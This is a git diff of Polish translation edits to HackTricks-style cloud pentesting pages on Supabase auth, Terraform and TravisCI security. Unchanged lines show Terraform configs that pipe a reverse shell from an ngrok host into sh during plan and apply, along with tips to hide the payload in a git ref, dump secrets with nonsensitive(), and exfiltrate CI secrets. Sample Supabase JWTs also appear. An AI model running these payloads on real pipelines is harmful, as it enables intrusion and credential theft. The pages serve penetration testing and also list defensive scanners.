+Wygeneruje również **anon klucz API** (`role: "anon"`), taki jak: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk`, który aplikacja będzie musiała użyć, aby skontaktować się z kluczem API ujawnionym w naszym przykładzie w
 
-Można znaleźć API REST do kontaktu z tym API w [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), ale najbardziej interesujące punkty końcowe to:
+Można znaleźć API REST do kontaktu z tym API w [**dokumentacji**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), ale najbardziej interesujące punkty końcowe to:
 
 <details>
 
-<summary>Signup (/auth/v1/signup)</summary>
+<summary>Rejestracja (/auth/v1/signup)</summary>
 ```
 POST /auth/v1/signup HTTP/2
 Host: id.io.net
@@ -101,9 +101,9 @@ Priority: u=1, i
 
 Więc, za każdym razem, gdy odkryjesz klienta używającego supabase z subdomeną, którą mu przyznano (możliwe, że subdomena firmy ma CNAME nad ich subdomeną supabase), możesz spróbować **utworzyć nowe konto na platformie za pomocą API supabase**.
 
-### klucze api secret / service_role
+### klucze API secret / service_role
 
-Sekretny klucz API również zostanie wygenerowany z **`role: "service_role"`**. Ten klucz API powinien być sekretny, ponieważ będzie mógł obejść **Row Level Security**.
+Klucz API secret również zostanie wygenerowany z **`role: "service_role"`**. Ten klucz API powinien być tajny, ponieważ będzie mógł obejść **Row Level Security**.
 
 Klucz API wygląda tak: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
 
@@ -125,7 +125,7 @@ To bardzo zły pomysł, ponieważ supabase pobiera opłaty za aktywnego użytkow
 
 ### Hasła i sesje
 
-Możliwe jest wskazanie minimalnej długości hasła (domyślnie), wymagań (brak domyślnie) i zabronienie używania wyciekłych haseł.\
+Możliwe jest określenie minimalnej długości hasła (domyślnie), wymagań (brak domyślnie) i zabronienie używania wyciekłych haseł.\
 Zaleca się **poprawienie wymagań, ponieważ domyślne są słabe**.
 
 - Sesje użytkowników: Możliwe jest skonfigurowanie, jak działają sesje użytkowników (czasy oczekiwania, 1 sesja na użytkownika...)
@@ -138,10 +138,10 @@ Możliwe jest ustawienie SMTP do wysyłania e-maili.
 ### Ustawienia zaawansowane
 
 - Ustaw czas wygaśnięcia dla tokenów dostępu (3600 domyślnie)
-- Ustaw wykrywanie i unieważnianie potencjalnie skompromitowanych tokenów odświeżania oraz czas oczekiwania
+- Ustaw wykrywanie i unieważnianie potencjalnie skompromitowanych tokenów odświeżania i czas oczekiwania
 - MFA: Wskaź, ile czynników MFA może być zarejestrowanych jednocześnie na użytkownika (10 domyślnie)
 - Maksymalna liczba bezpośrednich połączeń z bazą danych: Maksymalna liczba połączeń używanych do uwierzytelniania (10 domyślnie)
-- Maksymalny czas trwania żądania: Maksymalny czas, przez jaki żądanie uwierzytelnienia może trwać (10s domyślnie)
+- Maksymalny czas trwania żądania: Maksymalny czas, jaki może trwać żądanie uwierzytelnienia (10s domyślnie)
 
 ## Przechowywanie
 
@@ -154,6 +154,6 @@ Możliwe jest ustawienie SMTP do wysyłania e-maili.
 
 ## Funkcje Edge
 
-Możliwe jest również **przechowywanie sekretów** w supabase, które będą **dostępne przez funkcje edge** (mogą być tworzone i usuwane z sieci, ale nie można uzyskać dostępu do ich wartości bezpośrednio).
+Możliwe jest również **przechowywanie tajemnic** w supabase, które będą **dostępne przez funkcje edge** (mogą być tworzone i usuwane z sieci, ale nie można uzyskać dostępu do ich wartości bezpośrednio).
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md
index 4c23bb885..f765cb4ee 100644
--- a/src/pentesting-ci-cd/terraform-security.md
+++ b/src/pentesting-ci-cd/terraform-security.md
@@ -6,7 +6,7 @@
 
 [Z dokumentacji:](https://developer.hashicorp.com/terraform/intro)
 
-HashiCorp Terraform to **narzędzie infrastruktury jako kod**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla ludzi plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci masowej i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
+HashiCorp Terraform to **narzędzie infrastruktury jako kod**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci masowej i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS.
 
 #### Jak działa Terraform?
 
@@ -14,11 +14,11 @@ Terraform tworzy i zarządza zasobami na platformach chmurowych i innych usługa
 
 ![](<../images/image (177).png>)
 
-HashiCorp i społeczność Terraform już napisały **ponad 1700 dostawców** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Wszystkich publicznie dostępnych dostawców można znaleźć w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.
+HashiCorp i społeczność Terraform już napisały **ponad 1700 dostawców** do zarządzania tysiącami różnych typów zasobów i usług, a ta liczba wciąż rośnie. Możesz znaleźć wszystkich publicznie dostępnych dostawców w [Terraform Registry](https://registry.terraform.io/), w tym Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog i wiele innych.
 
 Podstawowy przepływ pracy Terraform składa się z trzech etapów:
 
-- **Napisz:** Definiujesz zasoby, które mogą być rozproszone w różnych dostawcach chmurowych i usługach. Na przykład możesz stworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w sieci Virtual Private Cloud (VPC) z grupami zabezpieczeń i równoważnikiem obciążenia.
+- **Napisz:** Definiujesz zasoby, które mogą być rozproszone w wielu dostawcach chmurowych i usługach. Na przykład możesz stworzyć konfigurację do wdrożenia aplikacji na maszynach wirtualnych w sieci Virtual Private Cloud (VPC) z grupami zabezpieczeń i równoważnikiem obciążenia.
 - **Zaplanuj:** Terraform tworzy plan wykonania opisujący infrastrukturę, którą utworzy, zaktualizuje lub zniszczy na podstawie istniejącej infrastruktury i twojej konfiguracji.
 - **Zastosuj:** Po zatwierdzeniu Terraform wykonuje proponowane operacje w odpowiedniej kolejności, respektując wszelkie zależności zasobów. Na przykład, jeśli zaktualizujesz właściwości VPC i zmienisz liczbę maszyn wirtualnych w tym VPC, Terraform najpierw odtworzy VPC przed skalowaniem maszyn wirtualnych.
 
@@ -32,7 +32,7 @@ Tutaj masz [przewodnik](https://learn.hashicorp.com/tutorials/terraform/install-
 
 ## RCE w Terraform
 
-Terraform **nie ma platformy, która udostępnia stronę internetową lub usługę sieciową**, którą możemy enumerować, dlatego jedynym sposobem na skompromitowanie terraform jest **możliwość dodawania/modyfikowania plików konfiguracyjnych terraform**.
+Terraform **nie ma platformy, która udostępnia stronę internetową lub usługę sieciową**, którą możemy zenumerować, dlatego jedynym sposobem na skompromitowanie terraform jest **możliwość dodawania/modyfikowania plików konfiguracyjnych terraform**.
 
 Jednak terraform jest **bardzo wrażliwym komponentem** do skompromitowania, ponieważ będzie miał **uprzywilejowany dostęp** do różnych lokalizacji, aby mógł działać poprawnie.
 
@@ -48,7 +48,7 @@ Jeśli uda ci się skompromitować plik terraform, istnieją różne sposoby, ab
 
 ### Terraform plan
 
-Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform wywołują je cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`.
+Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform używają go cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`.
 
 **Używając zewnętrznego dostawcy**
 
@@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
 ```
 **Używanie niestandardowego dostawcy**
 
-An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)):
+Atakujący mógłby wysłać [niestandardowego dostawcę](https://learn.hashicorp.com/tutorials/terraform/provider-setup) do [Terraform Registry](https://registry.terraform.io/) i następnie dodać go do kodu Terraform w gałęzi funkcji ([przykład stąd](https://alex.kaskaso.li/post/terraform-plan-rce)):
 ```javascript
 terraform {
 required_providers {
@@ -91,7 +91,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
 ```
 Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
 
-- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś takiego: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
+- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell Terraform w gałęzi** wewnątrz repozytorium, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
 
 ### Terraform Apply
 
@@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
 }
 }
 ```
-Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, używając zewnętrznych odniesień**.
+Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, korzystając z zewnętrznych odniesień**.
 
 ## Zrzuty sekretów
 
-Możesz mieć **wartości sekretów używanych przez terraform zrzucane** uruchamiając `terraform apply`, dodając do pliku terraform coś takiego:
+Możesz uzyskać **zrzuty tajnych wartości używanych przez terraform**, uruchamiając `terraform apply`, dodając do pliku terraform coś takiego:
 ```json
 output "dotoken" {
 value = nonsensitive(var.do_token)
@@ -124,13 +124,13 @@ value = nonsensitive(var.do_token)
 ```
 ## Wykorzystywanie plików stanu Terraform
 
-W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**te badania**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferują kilka interesujących opcji, aby skorzystać z pliku:
+W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**to badanie**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferuje kilka interesujących opcji, aby skorzystać z pliku:
 
 ### Usuwanie zasobów <a href="#deleting-resources" id="deleting-resources"></a>
 
 Istnieją 2 sposoby na zniszczenie zasobów:
 
-1. **Wstaw zasób o losowej nazwie do pliku stanu wskazujący na rzeczywisty zasób do zniszczenia**
+1. **Wstaw zasób o losowej nazwie do pliku stanu wskazującego na rzeczywisty zasób do zniszczenia**
 
 Ponieważ terraform zobaczy, że zasób nie powinien istnieć, zniszczy go (zgodnie z rzeczywistym identyfikatorem zasobu wskazanym). Przykład z poprzedniej strony:
 ```json
@@ -180,7 +180,7 @@ version = "3.0.0"
 }
 }
 ```
-Następnie możesz użyć `external` jak zwykle.
+Możesz wtedy użyć `external` jak zwykle.
 ```terraform
 data "external" "example" {
 program = ["sh", "-c", "whoami"]
@@ -195,7 +195,7 @@ Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC)
 - **Funkcje:**
 - Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością.
 - Integracja z systemami kontroli wersji (GitHub, GitLab, Bitbucket).
-- Zautomatyzowane prośby o poprawki.
+- Automatyczne prośby o poprawki.
 - Szczegółowe porady dotyczące usuwania problemów.
 - **Zarejestruj się:** Utwórz konto na [Snyk](https://snyk.io/).
 ```bash
@@ -208,7 +208,7 @@ snyk iac test /path/to/terraform/code
 
 **Checkov** to narzędzie do analizy statycznej kodu dla infrastruktury jako kodu (IaC) oraz narzędzie do analizy składu oprogramowania (SCA) dla obrazów i pakietów open source.
 
-Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji bezpieczeństwa i zgodności za pomocą skanowania opartego na grafach.
+Skanuje infrastrukturę chmurową dostarczoną za pomocą [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) lub [OpenTofu](https://opentofu.org/) i wykrywa błędy w konfiguracji związane z bezpieczeństwem i zgodnością, korzystając z skanowania opartego na grafach.
 
 Wykonuje [analizę składu oprogramowania (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md), która jest skanowaniem pakietów open source i obrazów pod kątem powszechnych luk w zabezpieczeniach (CVE).
 ```bash
@@ -219,12 +219,12 @@ checkov -d /path/to/folder
 
 Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, które umożliwiają negatywne testowanie twojej infrastruktury jako kodu.
 
-- **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów.
+- **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów
 - **rozwój oparty na zachowaniu:** Mamy BDD prawie dla wszystkiego, dlaczego nie dla IaC?
 - **przenośność:** wystarczy zainstalować z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/)
-- **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem.
+- **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem
 - **łatwość integracji:** może działać w twoim pipeline (lub w git hooks), aby zapewnić, że wszystkie wdrożenia są walidowane.
-- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest osobny zespół.
+- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest oddzielny zespół.
 
 > [!NOTE]
 > Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić to narzędzie.
@@ -254,21 +254,21 @@ tfsec /path/to/folder
 ```
 ### [KICKS](https://github.com/Checkmarx/kics)
 
-Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju swojej infrastruktury jako kodu z **KICS** od Checkmarx.
+Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju twojej infrastruktury jako kodu z **KICS** od Checkmarx.
 
-**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie chmurowym.
+**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny dla każdego projektu natywnego w chmurze.
 ```bash
 docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
 ```
 ### [Terrascan](https://github.com/tenable/terrascan)
 
-Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastruktury jako Kod. Terrascan pozwala Ci na:
+Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastruktury jako Kod. Terrascan pozwala na:
 
 - Bezproblemowe skanowanie infrastruktury jako kod w poszukiwaniu błędnych konfiguracji.
-- Monitorowanie dostarczonej infrastruktury chmurowej w celu wykrywania zmian konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy.
+- Monitorowanie dostarczonej infrastruktury chmurowej pod kątem zmian konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy.
 - Wykrywanie luk w zabezpieczeniach i naruszeń zgodności.
 - Łagodzenie ryzyk przed dostarczeniem natywnej infrastruktury chmurowej.
-- Oferuje elastyczność uruchamiania lokalnie lub integracji z Twoim CI\CD.
+- Oferuje elastyczność uruchamiania lokalnie lub integracji z CI\CD.
 ```bash
 brew install terrascan
 ```
diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md
index c03628c32..532f24e78 100644
--- a/src/pentesting-ci-cd/todo.md
+++ b/src/pentesting-ci-cd/todo.md
@@ -2,7 +2,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-Github PRs są mile widziane, wyjaśniając, jak (nadużywać) tych platform z perspektywy atakującego
+Proszę o zgłoszenia PR na Githubie wyjaśniające, jak (nadużywać) tych platform z perspektywy atakującego
 
 - Drone
 - TeamCity
diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index 28f612675..e207d0229 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -2,62 +2,62 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## What is TravisCI
+## Czym jest TravisCI
 
-**Travis CI** to **hostowana** lub na **miejscu** usługa **ciągłej integracji**, która służy do budowania i testowania projektów oprogramowania hostowanych na kilku **różnych platformach git**.
+**Travis CI** to **hostowana** lub na **miejscu** usługa **ciągłej integracji** używana do budowania i testowania projektów oprogramowania hostowanych na kilku **różnych platformach git**.
 
 {{#ref}}
 basic-travisci-information.md
 {{#endref}}
 
-## Attacks
+## Ataki
 
-### Triggers
+### Wyzwalacze
 
-Aby przeprowadzić atak, najpierw musisz wiedzieć, jak uruchomić budowę. Domyślnie TravisCI **uruchomi budowę przy pushach i pull requestach**:
+Aby przeprowadzić atak, najpierw musisz wiedzieć, jak wyzwolić budowę. Domyślnie TravisCI **wyzwala budowę przy pushach i pull requestach**:
 
 ![](<../../images/image (145).png>)
 
-#### Cron Jobs
+#### Zadania Cron
 
-Jeśli masz dostęp do aplikacji internetowej, możesz **ustawić crony do uruchamiania budowy**, co może być przydatne do utrzymania lub uruchamiania budowy:
+Jeśli masz dostęp do aplikacji internetowej, możesz **ustawić zadania cron do uruchamiania budowy**, co może być przydatne do utrzymania lub wyzwolenia budowy:
 
 ![](<../../images/image (243).png>)
 
 > [!NOTE]
-> Wygląda na to, że nie jest możliwe ustawienie cronów wewnątrz `.travis.yml` zgodnie z [tym](https://github.com/travis-ci/travis-ci/issues/9162).
+> Wygląda na to, że nie można ustawić zadań cron w pliku `.travis.yml` zgodnie z [tym](https://github.com/travis-ci/travis-ci/issues/9162).
 
-### Third Party PR
+### PR zewnętrznych podmiotów
 
-TravisCI domyślnie wyłącza udostępnianie zmiennych środowiskowych z PR-ów pochodzących od stron trzecich, ale ktoś może to włączyć, a wtedy możesz stworzyć PR do repozytorium i wyeksfiltrować sekrety:
+TravisCI domyślnie wyłącza udostępnianie zmiennych środowiskowych z PR pochodzących od zewnętrznych podmiotów, ale ktoś może to włączyć, a wtedy możesz stworzyć PR do repozytorium i wyeksportować sekrety:
 
 ![](<../../images/image (208).png>)
 
-### Dumping Secrets
+### Zrzucanie sekretów
 
-Jak wyjaśniono na stronie [**podstawowe informacje**](basic-travisci-information.md), istnieją 2 typy sekretów. **Sekrety zmiennych środowiskowych** (które są wymienione na stronie internetowej) oraz **niestandardowe zaszyfrowane sekrety**, które są przechowywane w pliku `.travis.yml` jako base64 (zauważ, że oba, jako przechowywane zaszyfrowane, będą kończyć jako zmienne środowiskowe na finalnych maszynach).
+Jak wyjaśniono na stronie [**podstawowe informacje**](basic-travisci-information.md), istnieją 2 typy sekretów. **Sekrety zmiennych środowiskowych** (które są wymienione na stronie internetowej) oraz **niestandardowe zaszyfrowane sekrety**, które są przechowywane w pliku `.travis.yml` jako base64 (zauważ, że oba, jako przechowywane zaszyfrowane, będą kończyć jako zmienne środowiskowe na końcowych maszynach).
 
-- Aby **wyliczyć sekrety** skonfigurowane jako **zmienne środowiskowe**, przejdź do **ustawień** projektu i sprawdź listę. Należy jednak pamiętać, że wszystkie zmienne środowiskowe projektu ustawione tutaj pojawią się podczas uruchamiania budowy.
+- Aby **wyliczyć sekrety** skonfigurowane jako **zmienne środowiskowe**, przejdź do **ustawień** **projektu** i sprawdź listę. Należy jednak pamiętać, że wszystkie zmienne środowiskowe projektu ustawione tutaj pojawią się przy wyzwalaniu budowy.
 - Aby wyliczyć **niestandardowe zaszyfrowane sekrety**, najlepiej jest **sprawdzić plik `.travis.yml`**.
-- Aby **wyliczyć zaszyfrowane pliki**, możesz sprawdzić **pliki `.enc`** w repozytorium, w poszukiwaniu linii podobnych do `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` w pliku konfiguracyjnym, lub dla **zaszyfrowanych iv i kluczy** w **zmiennych środowiskowych**, takich jak:
+- Aby **wyliczyć zaszyfrowane pliki**, możesz sprawdzić **pliki `.enc`** w repozytorium, linie podobne do `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` w pliku konfiguracyjnym, lub **zaszyfrowane iv i klucze** w **zmiennych środowiskowych** takich jak:
 
 ![](<../../images/image (81).png>)
 
 ### TODO:
 
-- Przykład budowy z odwróconym shellem działającym na Windows/Mac/Linux
+- Przykład budowy z działającym reverse shellem na Windows/Mac/Linux
 - Przykład budowy wyciekającej zmienną środowiskową zakodowaną w base64 w logach
 
 ### TravisCI Enterprise
 
-Jeśli atakujący znajdzie się w środowisku, które używa **TravisCI enterprise** (więcej informacji na ten temat w [**podstawowych informacjach**](basic-travisci-information.md#travisci-enterprise)), będzie mógł **uruchomić budowy w Workerze.** Oznacza to, że atakujący będzie mógł poruszać się lateralnie do tego serwera, z którego mógłby:
+Jeśli atakujący znajdzie się w środowisku, które używa **TravisCI enterprise** (więcej informacji na ten temat w [**podstawowych informacjach**](basic-travisci-information.md#travisci-enterprise)), będzie mógł **wyzwalać budowy w Workerze.** Oznacza to, że atakujący będzie mógł poruszać się lateralnie do tego serwera, z którego mógłby:
 
 - uciec do hosta?
 - skompromitować kubernetes?
 - skompromitować inne maszyny działające w tej samej sieci?
-- skompromitować nowe dane uwierzytelniające w chmurze?
+- skompromitować nowe poświadczenia chmurowe?
 
-## References
+## Odniesienia
 
 - [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
 - [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index a0e471340..8382e5e5a 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -16,7 +16,7 @@ Na przykład, w Github poprosi o następujące uprawnienia:
 
 ### Zmienne środowiskowe
 
-W TravisCI, jak w innych platformach CI, możliwe jest **zapisywanie na poziomie repozytorium sekretów**, które będą przechowywane w formie zaszyfrowanej i będą **odszyfrowywane i przesyłane w zmiennej środowiskowej** maszyny wykonującej budowę.
+W TravisCI, podobnie jak w innych platformach CI, możliwe jest **zapisywanie na poziomie repozytorium sekretów**, które będą zapisywane w formie zaszyfrowanej i będą **odszyfrowywane i przesyłane do zmiennej środowiskowej** maszyny wykonującej budowę.
 
 ![](<../../images/image (203).png>)
 
@@ -31,7 +31,7 @@ Możesz uzyskać dostęp do klucza publicznego jednego repozytorium za pomocą:
 travis pubkey -r <owner>/<repo_name>
 travis pubkey -r carlospolop/t-ci-test
 ```
-Następnie możesz użyć tej konfiguracji, aby **szyfrować sekrety i dodać je do swojego `.travis.yaml`**. Sekrety będą **odszyfrowane, gdy budowa będzie uruchamiana** i dostępne w **zmiennych środowiskowych**.
+Następnie możesz użyć tej konfiguracji do **szyfrowania sekretów i dodawania ich do swojego `.travis.yaml`**. Sekrety będą **odszyfrowane, gdy budowa będzie uruchamiana** i dostępne w **zmiennych środowiskowych**.
 
 ![](<../../images/image (139).png>)
 
@@ -39,7 +39,7 @@ Zauważ, że sekrety szyfrowane w ten sposób nie będą widoczne na liście w z
 
 ### Niestandardowe Szyfrowane Pliki
 
-W ten sam sposób, co wcześniej, TravisCI również pozwala na **szyfrowanie plików, a następnie odszyfrowywanie ich podczas budowy**:
+Tak jak wcześniej, TravisCI również pozwala na **szyfrowanie plików, a następnie odszyfrowywanie ich podczas budowy**:
 ```
 travis encrypt-file super_secret.txt -r carlospolop/t-ci-test
 
@@ -67,21 +67,21 @@ Travis CI Enterprise to **wersja on-prem Travis CI**, którą możesz wdrożyć
 
 **Travis CI Enterprise składa się z dwóch głównych części:**
 
-1. Usługi TCI **(lub Usługi TCI Core)**, odpowiedzialne za integrację z systemami kontroli wersji, autoryzację budów, planowanie zadań budowlanych itp.
-2. TCI **Worker** oraz obrazy środowiska budowy (nazywane również obrazami systemu operacyjnego).
+1. Usługi TCI **(lub TCI Core Services)**, odpowiedzialne za integrację z systemami kontroli wersji, autoryzację budów, planowanie zadań budowlanych itp.
+2. TCI **Worker** i obrazy środowiska budowy (nazywane również obrazami systemu operacyjnego).
 
-**Usługi TCI Core wymagają następujących elementów:**
+**Usługi TCI Core wymagają następujących:**
 
 1. Bazy danych **PostgreSQL11** (lub nowszej).
 2. Infrastruktury do wdrożenia klastra Kubernetes; może być wdrożona w klastrze serwerów lub na pojedynczej maszynie, jeśli to konieczne.
-3. W zależności od twojej konfiguracji, możesz chcieć wdrożyć i skonfigurować niektóre z komponentów samodzielnie, np. RabbitMQ - zobacz [Konfiguracja Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) po więcej szczegółów.
+3. W zależności od twojej konfiguracji, możesz chcieć wdrożyć i skonfigurować niektóre z komponentów samodzielnie, np. RabbitMQ - zobacz [Setting up Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) po więcej szczegółów.
 
-**Worker TCI wymaga następujących elementów:**
